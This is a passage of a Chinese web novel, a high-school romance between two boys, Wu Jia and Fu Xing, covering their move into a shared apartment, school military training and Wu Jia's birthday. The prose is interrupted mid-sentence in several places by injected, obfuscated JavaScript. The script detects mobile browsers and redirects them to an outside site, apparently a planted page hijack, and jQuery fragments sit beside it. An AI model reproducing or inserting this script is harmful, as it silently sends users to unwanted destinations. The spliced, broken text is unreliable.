魔性的笑声一路随行,乌嘉在后排看到宋玉温手机中的聊天框似乎停滞了许久,像是在消化这些被笑声冲击得支离破碎得讯息,沉默良久,最后终于顽强闪动了一下,发来一行字——犬子都是随的他狗爹,让你见笑了。 乌嘉:…… 傅星倒是没觉得不好意思,他笑眯眯捧着花,懵懵懂懂道,“嗯?我是认真的,他们值得。” “哎哟……星星你别说了,哈哈哈我不能再笑了,我肚子好痛哈哈哈呵呵……” 宋玉温尝试安静下来,憋了半天,旁边安静开车的乌常辉忽然开口道,“是因为这些花也是星星,所以你要为你的兄弟取名吗?” 宋玉温一秒破功,又是哈哈哈了许久,眼泪都笑了出来。 傅星眼睛一眯,心道,你很接近真相了,只不过不是兄弟,是父子。 乌嘉看着眼前有些混乱的场面,神情呆滞,前面的宋玉温已经笑得东倒西歪,一副要撅过去的模样,他忍不住开口道,“妈妈你别笑了,这样不安全……” “哈哈哈……好了,好了,嘉嘉说得对,这样不安全。”宋玉温用纸巾擦去眼角的眼泪,然后正色道,“开车不讲笑话啊,以后都注意点。” 傅星无辜开口,“可是我没……”我没讲笑话,我是认真的。 乌嘉一把捂住他的嘴,目光中带着警告,傅星只好点头,示意自己不再开口。可当乌嘉刚把手放下,傅星又凑了过来,在他耳边小声道,“最后一句……” “我不是喜欢孩子,我是喜欢嘉嘉……创造出的一切。” 灼热的气息喷得乌嘉耳朵发麻,他看了一眼满脸笑意的傅星,想说他刚才嘴瓢才会问出这个问题,但对上傅星认真温柔的眼神,话又咽了回去。他移开目光看向窗外,耳背映得通红。 良久,傅星听到一句轻轻的话飘来。 “知道了。” 很快,一行人就到达了租下的小公寓。这是一个环境比较私密的高端小区,虽然没有乌家别墅那样考究精致,但好在离学校很近,步行只需要十分钟。 公寓在十三楼,两室一厅,采光极好,一开门乌嘉就感受到了满满阳光的气息。傅星一眼就看见那个空旷的阳台,满心欢喜带着他的“儿女”们过去享受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“去还是要去的。”赵灵微顿,难得有些脸红道,“没准明年有哪里不一样呢。” 傅钦闻言,勾唇一笑。樱花林年年往复开花,哪会有什么改变,会发生改变的,只有年年携手看花而慢慢变老的两人。 “……两位要是很闲的话,不如过来帮我铺个床?”傅星看着甜蜜相依的两人,嘴角微抽。 傅钦连个眼神都没给自己儿子,淡淡回道,“谢邀,很忙。” 傅星扯着床单,满目疮痍的看着两个不动如山的背影。 “星星……”乌嘉探头过来,傅星眼睛一亮,仿佛看到了天使。 乌嘉看他房间凌乱的模样,微微一愣道,“还没有整理完吗……” 傅星顿时委屈,指着两人幸福的背影告状道,“他们不帮我。” 乌嘉看着美成风景线的两人,无奈一笑,走上前接过傅星手里的床单,边扯边道,“我来帮你。” 有了乌嘉的帮助,两人很快将床铺好,看着地上的杂物,乌嘉正想蹲下身帮他整理,宋玉温的声音却在外面响起。 “嘉嘉,星星,弄好了没,咱们得去超市买生活用品了。” 傅星看着这一地凌乱,难得沉默了,一时半会是好不了。 听到要去超市,窗边相依的两人率先有了反应,他们灵巧的跳过一地的杂物,边走向门口边道,“我们也要去!” 乌嘉失笑,他安慰道,“没事,我留下来帮你整理。” 傅星闻言,心中大受触动,他满目泪光道,“我就知道只有嘉嘉最爱我……” “……不过你还是跟阿姨他们去超市吧,洗漱用品还是要自己挑喜欢的,我自己可以整理。” 傅星粲然一笑,然后靠近乌嘉道,“记得帮我也买一份,要和你一样的。” 乌嘉闻言,动作一顿,略带疑惑道,“为什么不和我们一起去?你不是说要挑自己喜欢更好吗……” “嘉嘉喜欢的我肯定喜欢,而且……”傅星拉长声音,凑到乌嘉眼前低声道,“我想要和嘉嘉用情侣款。” 两个人都去挑的话,就不好当着嘉嘉父母的面选一样的了。 乌嘉被傅星的小心思戳得一愣一愣的,好半晌才红着脸放下了手里的东西,在傅星的笼罩下低声道,“知道了。” 18. 不仅是相信你 公寓里很快就只剩下了傅星一个人,他忙活了好久,才把东西收拾完,刚坐下来想擦一下满脑门的汗,手机铃声就突兀的响起。 他顾不上擦汗,匆匆接听手机,连瘫坐的身体都直了起来。 “嘉嘉,怎么了?”傅星语气认真且温柔,听得对面的乌嘉耳朵一热。 乌嘉站在有些吵闹的超市里,有些局促道,“可,可不可以帮我看一下我房间衣柜里有没有我的浴巾,我忘记我带没带了……” 说完,他红着脸又补充一句,“是我爸帮我收拾的,他也没仔细看。” 是真的不记得才打电话给傅星,乌嘉想,绝对没有别的意思。 原本他都想直接再买一条了,因为打电话让傅星给他找浴巾什么的……太羞耻了,但乌常辉却道让傅星正好还在公寓,让他看一眼不就行了。 傅星坐在沙发上,嘴角慢慢勾起,他仿佛看到电话那头乌嘉骑虎难下满脸通红的模样了,那样的嘉嘉实在太可爱了,他忍不住想欺负一下,于是故意道,“浴巾啊……没带也没事,我有两条。” 电话另一头,乌嘉原本微红的脸庞一下子爆红,他听着耳边傅星的笑,只觉得灼人得紧,烧得他脑子都沸腾了。 好在宋玉温他们并没有注意到这边,他们正在不远处的生鲜区挑选食材,打算等下回去做午饭。 傅星听到话筒对面迟迟没有声音,已经想象到乌嘉快熟了的模样,他轻笑一声,点到为止道,“好啦知道啦,我这就去看。” 说着,便走到乌嘉房间里打开了他的衣柜,衣柜内衣服整齐的挂放在一起,傅星一时也没看到乌嘉的浴巾,那着手机不方便翻找,于是他便将手机打开免提放在了一边。 “找,找到没?是淡黄色的。”乌嘉略带羞赧的声音从手机里传来。 “稍等啊……我看看。”傅星小心翼翼翻找的动作一顿,他看到衣柜底层有一个大牛皮纸盒,未盖紧的边角似乎透出一缕黄色。 他下意识伸手打开纸盒,看清里面的东西后,瞳孔猛的一缩。 各色糖纸琳琅满目的整齐码放在一起,其中最多的,便是他最常送给乌嘉的黄色奶糖。 他手指微颤,轻轻抚过那些糖纸,有些糖纸已能看到些岁月的痕迹,有一些还是崭新,但都无一例外的被他们的主人妥善保存在这里,不见半点马虎。 “星星?找到了吗?” 电话里的声音将傅星的思绪猛地拉回,他有些匆忙的盖上盖子,或许是巧合,他刚盖上盖子,便瞄到了衣柜角落里的浴巾,他连忙应声道,“找到了,就在柜子里。” “找到啦,那我就不买新的了。”乌嘉此时脸色已经恢复正常,他继续道,“我们现在在买菜,星星你想吃点什么?” “我,我都行,你们随便买。”傅星此时有些紧张,他眼睛盯着那个盒子,久久挪不开目光。 乌嘉已经快走到乌常辉身边了,他听傅星没有想吃的,便道,“那我们马上回来,拜拜。” “拜拜……”电话挂断后,傅星还是站在衣柜前久久不能回神,他心跳如擂鼓,脑中只剩下一个念头——嘉嘉好爱他。 他一直以为先动心的是他,没想到嘉嘉早在初遇时就把他放在了心上,更是珍惜自己送给他的一点一滴,哪怕是一张糖纸都不舍得丢掉。 傅星看着那个盒子,眼眶有些发涩,他忽然觉得自己乌嘉的东西太少了,又觉得自己对他还不够好。 他第一次嫌弃自己以前是如此愚钝,想不明白自己的感情就算了,还敢曾怀疑乌嘉对他的感情。 傅星抹了一把眼角,然后蹲下身将乌嘉的衣柜整理好。 乌嘉一回来,便对上了傅星坚定又浓厚的眼神,他提着洗漱用品微微愣在原地,为什么感觉……傅星的爱忽然沉重了起来。 还没容他细品,傅星便一个箭步冲上前,抢过乌嘉手里的东西道,“我去收拾。” 看着傅星走向浴室的背影,乌嘉有些呆滞,总感觉傅星哪里不太对。 两家人热火朝天的做完饭后,一起坐上了饭桌,餐桌上的氛围十分和谐,乌常辉与宋玉温主要负责礼貌微笑跟各种客套。傅钦和赵灵的态度就有些过于狗腿了,热烈到一度让乌常辉怀疑他们是不是做了什么亏心事。 而乌嘉与傅星则负责认真吃饭,以及互相夹菜。 下午,大人们都踏上了返程,乌嘉站在车前听宋玉温的各种叮嘱,而傅星那边的氛围就没有那么温情。 “傅星。” 傅星微顿,他好像很多年没听过他爸叫他全名了。 傅钦取下墨镜,神情是前所未有的严肃,他缓声开口:“那么多年,我们从不要求你什么,也不对你做任何的限制,你知道为什么吗?” 傅星垂眸思考片刻,然后道:“因为你们懒。” 傅钦和一旁的赵灵:…… “开玩笑的。”傅星笑完,正色道:“因为你们相信我。” 傅钦点头:“不仅是相信你,也是相信我们自己,相信以我们的基因,绝对生不出恶种。” “所以,你会一直对得起我们的信任,对吗?” 看着傅钦认真的眼神,傅星第一次觉得他爸这样靠谱,他颇受震撼,像是打开了某个开关,神情一凛,严肃开口:“我绝对不会做出对不起你们,对不起嘉嘉的事,更不会在未成年经济不独立的情况下,对嘉嘉……” 傅钦长手一伸,把傅星的嘴捂住,不自然道:“下面的不用说了。” 傅星坚毅点头,目送两人的货车远去后,转身去找乌嘉。 宋玉温还在反复的叮嘱,乌嘉俯首应和,一副母慈子孝的美好画面,看到傅星过来,宋玉温赶紧道:“星星要和嘉嘉互相照顾啊,有什么事都可以找阿姨,阿姨的手机24小时通畅……” 乌常辉适时开口道:“差不多了,再晚就要晚高峰了。” 宋玉温一滞,她看向笑得温和乖巧的乌嘉,眼眶慢慢的红了,她带着鼻音说:“可是……嘉嘉从小就没离开过我们……” 宋玉温一哭,乌嘉也有些绷不住,他眨了眨眼,尽量笑着和宋玉温道别:“我会多和妈妈打电话的,周末也一定会回家。” “好……嘉嘉再见……”宋玉温吸吸鼻子,接着道:“……星星再见。” 傅星此时的目光还依旧坚毅,他中气十足的承诺:“阿姨放心,我一定照顾好嘉嘉!” 乌嘉的泪意直接被傅星一嗓子吼了回去,他看向目光宛如磐石般坚不可摧的傅星,面露疑惑。 傅星刚才是背着他去军训了一次吗? 宋玉温依旧不舍,但乌常辉是真的担心晚高峰堵车,看着泪眼婆娑的爱人,他犹豫了半秒,最后还是一狠心将车开走了。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196412|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >乌嘉跟车走了两步,望着回首的宋玉温摆了摆手。 “别伤心了嘉嘉!”一旁傅星忽然大声开口,语气沉稳且坚实。 乌嘉:……本来有点伤心,现在真的没了。 回到他们的公寓,两人齐齐坐在了沙发上,乌嘉看着陡然寂静的房间,心里又开始变得空落落的。 他心底其实是和宋玉温一般的不舍,但他在逼自己不要那么感伤,这样的分别只会越来越多,越来越久。 乌嘉心底顿生苍凉,他侧目看向傅星,想从他那得到些好的情绪,结果……他看到了一个坐得无比端正离他巨远的男朋友。 沙发不大,乌嘉坐在中间,傅星硬生生坐到了最边缘,他们中间宛如楚河汉界。 乌嘉:……他是越来越不懂傅星了。 或许是傅星在等他主动?乌嘉这样想着,然后往傅星那边坐了一点,目光坚毅的傅星当时就颤了一下,堪堪没有破功。 见傅星还没有动静,乌嘉微红着脸又往那边坐了一点,两人距离只剩下一拳,傅星还是目视前方,不动如山,但紧握的拳头暴露了他的克制。 一般到这的时候,傅星已经忍不住扑上来了,乌嘉终于发现了不对劲,他侧身凑到傅星面前,想要伸出手戳戳他,看看他的男朋友是不是哪里坏了。 在乌嘉戳到第三次时,傅星终于忍不住了,他一把握住乌嘉的手指,滚烫的手掌刺激得乌嘉一抖,下一秒,他整个人都被傅星rua了。 乌嘉被抱到傅星腿上,两只手臂将他的腰捆得死紧,脸也埋进了他的胸口,他的腰上没什么肉,傅星的手臂又硬邦邦的,他被硌得有点难受,便伸手轻轻去推傅星的手臂。 傅星如他所愿的松了力道,改为用手掌握住他的腰,他埋在乌嘉怀中的脸也慢慢蹭到了乌嘉脖颈处,卷翘的头发撩得乌嘉微痒。 摩挲的声音持续了很久,乌嘉被傅星蹭得浑身发烫,他也没了脾气,抬手抱住了傅星毛茸茸的脑袋,无奈开口:“星星小狗,怎么了?” 傅星动作一顿,从乌嘉脖颈间抬起头来。 凌乱的卷毛下,傅星眼角微红,他抬眸看着乌嘉,眼中是说不出的委屈,只听见傅星红着脸颊可怜兮兮的开口:“我本来下好决心要控制住自己的……” 乌嘉盯着傅星那双水汪汪的大眼,半晌没能说出话来,糟糕,好喜欢星星这个表情,捧着毛茸茸头的乌嘉脸慢慢红透了。 傅星浑然不知,仍满心委屈的撒桥,抬着脸就开始轻吻乌嘉的下颌,边亲还边哼哼唧唧:“嘉嘉嘉嘉……我尽力了,怎么可能可以忍得住嘛……我不可能和你保持距离的……” 乌嘉已经被傅星的撒娇弄得完全迷蒙了,他满眼只剩下茫然:“……为什么要保持距离。” “因为不保持距离的话……我忍不住……忍不住想要和你更加亲近……” 傅星亲昵的动作微微顿住,像是在隐藏什么,他喘出两口热气,眼闪过半分清明,下意识开口道:“我答应过爸妈的,要对得起他们的信任……” 听到这句话,沉醉于温柔乡的乌嘉猛然惊醒,他不敢置信的睁大了双眼,推开黏人的傅星,颤抖着开口:“你答应你爸妈……叔叔阿姨他们知道了?” 傅星头上翘着乱毛,呆呆的看着乌嘉,无辜开口:“我没和你说过吗?他们早就知道了。” 乌嘉:…… 19. 你就是我的小星星 “错了,我真的错了。” 傅星乖巧跪坐在客厅地板上,态度诚恳:“我错在太爱嘉嘉,每次一见到嘉嘉就开心到找不到北,满脑子只剩下谈恋爱,把这回事忘得一干二净。” 乌嘉蹙着眉在客厅里来回踱步,嘴里不停念叨:“叔叔阿姨知道了?那他们还放心让我们同居?他们是怎么看我和星星的?不会觉得我们是闹着玩的吧……” 傅星的目光随着踱步的乌嘉来回旋转,乌嘉脚步突然一停,他的目光也随之一顿,只听乌嘉绝望开口:“……我下次该怎么见叔叔阿姨?” 傅星失笑,他利索起身,一把将慌乱的乌嘉拉到沙发上坐下,认真道,“我爸妈他们很喜欢你,不觉得我们是闹着玩的,希望我们长久,也支持我们的选择,之所以放心让我们同居,是因为相信我的分寸,是以信任为前提给我们的自由。” 傅星说完这些,看向懵懵的乌嘉:“所以,嘉嘉明白了吗?” 乌嘉愣了片刻后,深深吐出一口气,然后将粘着他的傅星推开一些,目光是傅星似曾相识的坚毅:“明白了,我不会辜负叔叔阿姨的信任。” 他严肃的看向傅星,郑重开口:“从今天开始,我们发乎情,止乎礼,相敬如宾,互帮互助,一切以学习为先,万事以前途为首,争做道德完善的新时代青少年。” 看着正直得让他寒心的乌嘉,傅星几乎不愿接收事实,他尚存希冀的尝试伸出手,却被乌嘉一把挡住。 被挡住的手击破了傅星最后的防线,看着冷酷的乌嘉,他目光颤抖。 寒心,彻骨的寒心,他错了,他错的彻底,忘了乌嘉是比他还要正派百倍的人,就连他自己都被爸妈洗脑得宛若军了训,嘉嘉怎么可能不受荼毒。 看着乌嘉独自回房间的背影,傅星满心绝望,恋爱进度条终究是被他可靠的爸妈清了零。 遥远的傅钦抱着赵灵打了个喷嚏,他像是忽然想到了什么,皱着眉开口:“那小子靠得住吗?” “你不相信你儿子,也该相信嘉嘉。” 赵灵拿着手机慵懒开口,“蝉联三年的三好学生,岂是那小子能撼动的。” 她手指轻动,在手机上发出一条信息后,自信勾唇。 另一边,乌嘉手机一亮,打开一看,是傅星妈妈发来的消息:阿姨永远相信你们(微笑)。 一瞬间,乌嘉的目光又坚毅了一个层次,他认真回复了赵灵后,毫不犹豫的起身走向门口,啪嗒一声把房间门反锁了。 门外的傅星听到这一声后,眼泪差点掉了下来,他泪眼汪汪看着紧闭的房门,不敢置信的开口:“嘉嘉,你不爱我了吗?” 听到这熟悉的可怜语气,乌嘉身体微僵,很快,心中的信仰盖过了悸动,他朗声道:“爱,但爱是克制,星星你早点休息吧。” 傅星:…… 他不甘心咬牙,还是被阴了一把大的,歹毒,太歹毒了,比他多吃几年饭就是不一样。 同居的第一天,乌嘉无愧于心,安然入睡;傅星咬着被子,孤枕难眠。 …… 早秋的日光格外缠人,说热烈又照得温柔,说缠绵又晒得执拗。 两个身姿挺阔的少年并肩而行,一人沉默温润,一人活泼明朗,他们都无谓这躁动的日光,满心满眼就是彼此。 “嘉嘉……”傅星又发出了磨人的叫声,他眼巴巴望着乌嘉说:“我们不是一个班……” “正常,一个年纪那么多班呢,分到一起的概率很小的。” 乌嘉抬手去摸傅星的卷毛,安抚道:“我们一个在三楼,一个在四楼,很近的。” 他虽这样安慰傅星,自己的眉头却不禁微微皱起,虽是意料之中,但事情真的发生后,乌嘉还是有些遗憾。 傅星下意识蹭了蹭乌嘉摸头的手,眼睛一眨不眨的盯着乌嘉,嘉嘉拧着眉的模样太招人了,他不由的想,嘉嘉感到不舒服的时候也会是这个表情吗,比如和他接吻到喘不过气的时候,再比如……不对,应该脸会红很多。 见傅星久久不说话,乌嘉有些疑惑,看到傅星那副放空的表情,他瞬间明白傅星又在联想什么了,他脸泛起微红,轻拍傅星的脑袋道:“住脑。” 傅星被拍醒,他不满的将乌嘉拍他脑袋的手扯到自己怀里,抱着他的手臂哼哼唧唧:“不让实操就算了,嘉嘉你居然还不准我幻想一下……” 他们现在正站在教学楼的公示栏前,人还是挺多的,傅星还抱着他的手不放,乌嘉试图抽出来,但奈何傅星抱得太紧,他脸都憋红了还没把手扯出来,乌嘉无奈开口:“星星,这样我们会被别人围观的。” “你只要不脸红,别人就不会关注我们。” 傅星不放手,他凑到乌嘉身边道:“嘉嘉,你脸一红,别人就知道你在害羞了,就会想到为什么你和我打闹还会害羞,就会联想到……” “住嘴。” 乌嘉捏住傅星叭叭的嘴,脸颊微红道:“这是我能控制的吗……” 傅星:“呜呜,呜呜呜。”嘉嘉,放开我。 乌嘉:“你先放手。” 傅星:“呜呜……”好吧…… 正式上课之前,还有一星期的军训时间,两人不在一个班级,但班号靠的很近,所以基本上都是在一片区域军训,两个班的教官偶尔还会将两个班合在一起活动。 “傅星,出列!” 望着乌嘉发呆的傅星微愣了一下,随即立马反应道:“是!” “你那么喜欢隔壁班,要不我和隔壁教官说说,让你跟他去训练算了。”教官瞪着傅星,语气不善。 下面的队伍顿时传来哄笑声,更有不怕事的起哄:“傅星喜欢的人肯定在那边!” “对!” “哈哈哈哈……” 那边的乌嘉也察觉到了这边的动静,看了过来,傅星顿时觉得有些不好意思的脸红了,居然被嘉嘉看到自己受罚……不过还好他早就被太阳晒得红彤彤,一时也没人看得出他有什么变化。 教官也不多废话:“俯卧撑准备!” 傅星毫不犹豫的爬了下去,手掌触碰到滚烫的地面,泛起丝丝痛感。 “1,2……” 没等傅星做几个,地面上忽然出现了点点水印,随即豆大的雨点落在军训的众人身上,所有人都欢呼了起来:“下雨了!” 大雨倾盆而下,教官匆匆收队,附近的班级来不及回教室,都躲在了车棚之下,包括乌嘉和傅星。 傅星因为起来的时候慢了些,所以难免淋到了一些雨,他一起来就直直朝乌嘉的方向跑来,一头卷毛随着他的奔跑而抖动,乌嘉看着他开心的向自己奔来的模样,仿佛看到了一只傻呵呵的大狗。 傅星跑到跟前后,乌嘉直接脱下了自己的军训外套递给他,笑着道:“擦一下头发吧。” 傅星眼前一亮,接过乌嘉的外套就顶在了头上,呼吸着乌嘉独有得干净气息,露出了幸福的傻笑。 “乌嘉,你和傅星很熟吗?”一旁的同学好奇的问道。 乌嘉浅笑道:“从小就认识。” “哦,竹马啊,真好……”那个同学有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17196413|197135||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怔愣的看着两人,总感觉他们两个站在一起后,氛围就变得独特起来,就像是没有别人可以走进他们之间一样。 军训的时光过得很快,转眼就到了最后一天,晚上,所有班级都来到操场上,各自组织起了晚会,三班和四班因为军训的时候关系好,所以晚会也合在了一起。 大家围坐成一个圈,看各个同学的才艺表演,表演得好与不好都得到了热烈的掌声,所有人脸上都挂着开心的笑,笑声与掌声此起彼伏,谱写出一篇名为青春的乐章。 氛围达到高潮之时,众人玩起了击鼓传花,傅星叛出班级坐到了乌嘉身旁,坏笑开口:“嘉嘉有没有准备小节目呀,等下要是……” 乌嘉一把捏住傅星的嘴,眯眼道:“住嘴。” 游戏很快开始,鼓声密集,大家传得很快,生怕自己中招,很快就要到乌嘉手里了,他严阵以待,准备接过花束,这时候傅星忽然凑到他耳边,说了一句话。 乌嘉被他突如其来的动作弄得顿了一下,就是这不到半秒的间隙,鼓声停止了。 看着自己怀中的花束,乌嘉脸颊一下爆红。 傅星也有些意外,他真没想到会真的把乌嘉坑到,他愣了一下,随即很快开口:“嘉嘉你不想表演的话,我可以……” “不用了。”乌嘉红着脸颤声拒绝,敢做敢当,玩了就不会怕输,至于傅星……回去再和他算账。 乌嘉长得干净秀逸,性格又很温柔,班上的同学都很喜欢他,见他中招,大家也都没有起哄,而是一起鼓掌鼓励他。 “乌嘉加油!” “别怕!” “嘉嘉你是最棒的!” 傅星警醒侧目,谁?谁喊的嘉嘉?怎么能叫的那么亲密?他顿时心生警惕,嘉嘉不会已经被人觊觎上了吧。 乌嘉红着脸接过话筒,走到圈子中央,害羞的开口:“我……没准备什么才艺,也没什么特长,那就给大家唱一首歌吧,唱一首——《小星星》。” 下面的傅星听到这,心脏微颤,乌嘉身后的灯光映进傅星的眼睛中,看上去就像他的眼睛在发光一样。 “等等!” 傅星起身,跑到一个同学身边,借走了他的吉他,然后在乌嘉惊讶的目光中,背上了吉他向他走来,然后借着乌嘉手里的话筒发言道:“买一送一,我来伴奏。” 大家全都鼓掌欢呼,没人不喜欢更精彩的节目,傅星试了一下音后,便看向乌嘉。 乌嘉看着满眼笑意的傅星,忽然就平静了下来,他拿起话筒,平稳开唱。 “承认不勇敢……” “你能不能别离开……” 两人从未排练过,此时却配合得无比默契,乌嘉唱的很好,比他自己想象的还要好,众人都被两人的表演迷住,纷纷举起手机灯光,跟随着节奏轻轻摇摆。 “你,就是我的小星星……” 唱到这句时,乌嘉下意思看向身侧的傅星,傅星像是早就知道了一般,也在看向了乌嘉,他们的目光在众人的注视下交缠,好似一场盛大的告白。 “……其实每个人的心里都有一颗小星星。” 场上响起前所未有的热情掌声,甚至有人喊起了安可,乌嘉没有再表演,他交出话筒,和傅星一起退场。 一场晚风吹过这些肆意的少年,吹散了脸上的滚烫,吹远了动听的歌声,吹进了他们的心中。 他们在喧闹中看向彼此,漫天的星月,摇动的草木,还有周遭的人群,都没能分走他们半点视线,两双闪动的眼眸中,只剩下对方的模样。 20. 他像是上天派来的 高中的生活过得很快,燥热的晚秋很快过去,转眼就到了十二月份。 乌嘉依旧沉迷于学习,傅星依旧沉迷于乌嘉,不过有了傅钦赵灵亲自给傅星设下的防沉迷系统,傅星也没有多少机会和乌嘉亲近。 对此,傅星怨声连连,他悲愤的说:“别的不说,嘉嘉你每天晚上都锁门真的伤到我了。” 乌嘉冷静开口:“如果你没有想强闯进行违规操作的话,为什么还要在乎我锁门呢?” 傅星不要脸:“你今晚不锁,看我会不会强闯,如果闯了,算我输,罚我亲你一下,如果没闯,算你输,罚你亲我一下。” 乌嘉放下手里的笔,看向抱着花盆的傅星,满脸窒息:“真是……天下的好事都该让你占了。” 傅星放下花盆,笑眯眯凑到乌嘉身旁道:“可不是……要不然怎么让我找到嘉嘉那么好的男朋友呢。” “巧舌如簧。” 傅星一笑,压向乌嘉:“那你就试试是不是巧舌吧……” “唔……” 不知过了多久,两人终于分开。 周遭的空气都好似升高了几度,傅星已经挤到了乌嘉的椅子上,他抱着眼神迷离的乌嘉不撒手,眼神落到了乌嘉写的作业上。 乌嘉的字写的和他的人一般干净清逸,傅星伸手摩挲他写过的字迹,忽然开口道:“嘉嘉,你可以帮我写点东西吗?” 乌嘉一下子就清醒了,他严肃道:“不可能帮你写作业的。” “……不是,只是让你帮我写一句话。” 傅星抱着乌嘉,随手将笔房进乌嘉手中,然后撕下一张印着星月的便签纸,对他道:“就写‘愿我如星君如月,夜夜流光相皎洁’。” 乌嘉眼神微动,没怎么犹豫,提笔流畅写下了这句话。 傅星看着乌嘉娴熟的笔法,忽然一笑道:“嘉嘉,你看上去写过很多遍啊……” 乌嘉脸一红,没有回话。 傅星将便签纸小心的放进透明手机壳后,抱乌嘉抱得更紧了些,他埋在乌嘉脖颈处,轻声开口:“我好喜欢你啊嘉嘉……我们一定要一辈子在一起,永远不要放开。” 说到永远在一起,乌嘉忽然开口:“星星,你想好考哪个大学了吗?” “……嘉嘉,你真是……”傅星伤心的将乌嘉转过来面对自己,委屈开口:“我跟你说情话,你跟我说考大学,我们才高一诶……” 乌嘉脸颊一红,不好意思开口道:“你不是说要一直在一起吗?我在想我们该去哪个大学比较好。” 傅星愣住,随即又抱住了乌嘉,闷声开口:“错了,我错了,我错得离谱,我没远见……” 乌嘉拍拍傅星得背,笑着说:“所以你打算考哪里?” “我都行的,只要和你在一起,去哪都行。”傅星真心道。 “那怎么行,你得有自己的目标,不能盲目跟着我。” 傅星想了想道:“那……本市的武大?我爸妈的母校,那里的樱花很好看,很适合约会嘿嘿嘿……” “说到约会,武大离这里挺近的,明年春天的时候我们一起去看樱花吧。” 乌嘉无奈一笑,听着傅星的叨叨,他没再追问考大学的事,反正还有很长的时间慢慢计划,他笑着回应傅星道:“好,我们明年春天就去看樱花。” 傅星点头,随即他像是想到了什么,眯着眼警惕道:“要避开我爸妈,他们每年都去。” “叔叔阿姨?他们很喜欢樱花吗?”乌嘉好奇道。 傅星道:“那是他们定情的地方,你想不想听他们的故事,可好笑了……” 乌嘉笑着说:“好啊。” “就是当初……” 两人聊天聊到了很晚,乌嘉已经在傅星怀里睡着了,傅星温柔一笑,轻轻将乌嘉抱到自己的床上,给他仔细盖好被子后,自己也在乌嘉身边躺下了。 他细细看着乌嘉的眉眼,眼中蕴着饱胀的情意,连眨眼都不舍得眨太多次。 看着看着,他突然想起,过几天就是乌嘉的生日了。 生日啊…… 乌嘉生日的前一天,学校刚好开始放双休假,两人也收拾好东西准备回家。 “叔叔阿姨真的不回家吗?”乌嘉皱着眉开口道,“要不,你还是跟我回家吧,你一个人在家多孤单啊。” 傅星正拿着手机看新闻,他闻言收起手机,看向乌嘉道:“他们医院最近好像很忙,一直要开会,回肯定是不会回来了。” “我还是不跟你回家了,叔叔阿姨也很想你了,你们好好相处,我明天早上再来你家找你。” 说到这,傅星神秘一笑:“明天我带你去一个好地方。” 乌嘉闻言只好点头,两人背上书包出门,刚到楼下就看到了乌常辉的车,乌嘉高兴招手:“爸爸!” “叔叔。” “快上车,外面怪冷的。”乌常辉通过后视镜看向后排的两人,关切道:“学习累不累啊,有没有遇到困难?” 傅星乖巧一笑:“困难肯定是有的,但嘉嘉都帮我解决了。” 乌嘉也道:“星星也教我数学。” 乌常辉满意点头:“就该这样互相帮助。” “……对了,嘉嘉明天就要过生日了,有想去玩的地方吗?” 乌嘉道:“上午和星星出去一趟,中午就回来吃饭了,天气太冷,还是呆在家比较好。” 乌常辉点头:“想好去哪里玩了?” 傅星笑道:“还是个秘密,明天嘉嘉就知道了。” “哈哈哈……还准备惊喜,星星有心了。” 等父子两人到家时,天已经黑得差不多,乌常辉一下车就不禁打了个哆嗦,他哈气道:“好冷啊,估计要下雪了。” 乌嘉正在看天气预报,闻言道:“天气预报说,明天有雪。” 乌常辉皱眉:“那你们明天出去的时候多穿点,路上也小心一些,别摔了。” 说着,两人就已经到了家门口,一开门,暖意扑面而来,乌嘉看着站在温暖灯光下的宋玉温,不由笑了。 “妈妈,我回来了。” “嘉嘉!哎哟哟可想死我了,让我看看,瘦了!”宋玉温拉着乌嘉翻来覆去的看,不停道:“是不是没好好吃饭,怎么能不好好吃饭呢……” “没有不好好吃饭,也应该没痩,可能还胖了。”乌嘉脱下一件件厚重的衣服,穿着打底衫站上体重秤,一看果然胖了两斤。 宋玉温笑哈哈:“没事,胖点好,听说最近流感可多了,胖点抵抗力也好。” 乌嘉失笑:“妈妈说得对。” “对了,星星爸爸妈妈他们不是没有回家,他怎么不跟你一起回来?” 乌嘉道:“我问了他,但他说不用。” “好吧……” 一夜过去,外面温度又下降了不少。 一大早,趁乌嘉还没醒的时候,乌常辉和宋玉温就悄咪咪来到他的房间,给还在睡梦中的乌嘉一个大大的……惊吓。 乌嘉睡眼惺忪的坐在床上,他脸颊微红,头发乱得跟鸡窝一样,茫然的看着宋玉温和乌常辉,好半晌才道:“怎么了?下雪了?” “生日快乐!”宋玉温拿出她早就准备好的礼物,展示给乌嘉。 是一套很难买到的典藏书,上面还有作者的亲签,一看就是费了不少心思才准备好的。乌常辉送的是一个恒温的高科技保温杯,他笑着说:“天冷了要多喝热水。” 乌嘉接过礼物,感动道:“谢谢爸爸妈妈……” “好了好了……” 没等乌嘉感动完,宋玉温就从衣柜里掏出一件件衣服丢给乌嘉,急急道:“嘉嘉快起床,早点出门早点回家,和星星玩得开心点。” 乌嘉懵懵的套上衣服刷牙洗漱,然后就被一把推出了房门,身后的门砰得一声合上,震得清醒了一下。 他望着北风萧瑟,呆呆的往前走了几步,然后像是想起了什么,掏出手机给傅星打电话。 “星星,虽然不是故意那么早……但是我现在已经出门了。” 原本迷糊的傅星猛然爬起, 